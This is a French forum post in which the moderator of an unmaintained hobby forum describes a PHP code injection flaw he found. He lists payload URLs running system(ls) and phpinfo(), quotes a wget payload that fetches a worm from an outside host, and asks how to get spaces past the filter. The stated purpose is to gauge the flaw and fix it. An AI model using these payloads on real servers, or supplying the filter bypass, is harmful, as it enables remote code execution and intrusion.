Bonjour,
Pour vous placer rapidement le contexte, je suis passé modérateur sur un forum qui parle modélisme.
Développeur C# de métier, je me suis un peu intéressé au forum en question qui n'est plus maintenu depuis un moment.
Le problème est que j'ai trouvé une faille d'injection de code php.
En injectant le code php comme ceci je vois le listing des fichiers dans le répertoire courant:
http://blabbla.fr?ref=dsqds567dsq'{${system(ls)}}
comme ceci je vois tous les infos php
http://blabbla.fr?ref=dsqds567dsq'{${phpinfo(INFO_ALL)}}
Jusque là ce n'est pas trop grave je pense puisque je n'arrive pas à placer des espaces.
http://blabbla.fr?ref=dsqds567dsq'{${system(ls /etc/)}}
http://blabbla.fr?ref=dsqds567dsq'{${system(ls%20/etc/)}}
ne fonctionnent pas.
C'est là ou je demande votre aide, est-ce grave en l'état? Quelles commandes pourrait être dangereuse?
j'ai vu sur le net que beaucoup font des
http://blabbla.fr?ref=dsqds567dsq'{${system(wget%20http://monworm)}}
Il y a-t-il un moyen que je connais pas pour que l'espace soit correctement reconnu ?
J'y connais rien en PHP, je vous demande votre avis, ca m'éviterai de me plonger dans ce code pour corriger ca.
Merci d'avance!
Partager